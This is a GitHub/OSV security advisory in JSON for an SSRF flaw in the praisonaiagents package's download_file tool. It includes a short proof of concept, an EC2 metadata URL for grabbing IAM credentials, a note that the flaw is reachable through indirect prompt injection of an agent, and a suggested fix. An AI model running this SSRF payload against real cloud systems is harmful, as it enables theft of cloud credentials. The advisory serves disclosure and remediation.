CVE-2026-34954: Praisonaiagents PraisonAI Has SSRF Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-44c2-3rw4-5gvh",
  "modified" : "2026-04-06T22:54:29Z",
  "published" : "2026-04-01T23:27:07Z",
  "aliases" : [ "CVE-2026-34954" ],
  "summary" : "PraisonAI Has SSRF in FileTools.download_file() via Unvalidated URL",
  "details" : "### Summary\n\n`FileTools.download_file()` in `praisonaiagents` validates the destination path but performs no validation on the `url` parameter, passing it directly to `httpx.stream()` with `follow_redirects=True`. An attacker who controls the URL can reach any host accessible from the server including cloud metadata services and internal network services.\n\n### Details\n\n`file_tools.py:259` (source) -> `file_tools.py:296` (sink)\n```python\n# source -- url taken directly from caller, no validation\ndef download_file(self, url: str, destination: str, ...):\n\n# sink -- unvalidated url passed to httpx with redirect following\n    with httpx.stream(\"GET\", url, timeout=timeout, follow_redirects=True) as response:\n```\n\n### PoC\n```bash\n# tested on: praisonaiagents==1.5.87 (source install)\n# install: pip install -e src/praisonai-agents\n# start listener: python3 -m http.server 8888\n\nimport os\nos.environ['PRAISONAI_AUTO_APPROVE'] = 'true'\nfrom praisonaiagents.tools.file_tools import download_file\n\nresult = download_file(\n    url=\"http://127.0.0.1:8888/ssrf-test\",\n    destination=\"/tmp/ssrf_out.txt\"\n)\nprint(result)\n# listener logs: \"GET /ssrf-test HTTP/1.1\" 404\n# on EC2 with IMDSv1: url=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n# writes IAM credentials to destination file\n```\n\n### Impact\n\nOn cloud infrastructure with IMDSv1 enabled, an attacker can retrieve IAM credentials via the EC2 metadata service and write them to disk for subsequent agent steps to exfiltrate. `follow_redirects=True` enables open-redirect chaining to bypass partial URL filters. Reachable via indirect prompt injection with no authentication required.\n\n### Suggested Fix\n```python\nfrom urllib.parse import urlparse\nimport ipaddress\n\nBLOCKED_NETWORKS = [\n    ipaddress.ip_network(\"127.0.0.0/8\"),\n    ipaddress.ip_network(\"169.254.0.0/16\"),\n    ipaddress.ip_network(\"10.0.0.0/8\"),\n    ipaddress.ip_network(\"172.16.0.0/12\"),\n    ipaddress.ip_network(\"192.168.0.0/16\"),\n]\n\ndef _validate_url(url: str) -> None:\n    parsed = urlparse(url)\n    if parsed.scheme not in (\"http\", \"https\"):\n        raise ValueError(f\"Scheme {parsed.scheme!r} not allowed\")\n    try:\n        addr = ipaddress.ip_address(parsed.hostname)\n        for net in BLOCKED_NETWORKS:\n            if addr in net:\n                raise ValueError(f\"Requests to {addr} are not permitted\")\n    except ValueError as e:\n        if \"does not appear to be\" not in str(e):\n            raise\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "praisonaiagents"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.5.95"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.5.94"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-44c2-3rw4-5gvh"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34954"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-01T23:27:07Z",
    "nvd_published_at" : "2026-04-03T23:17:06Z"
  }
}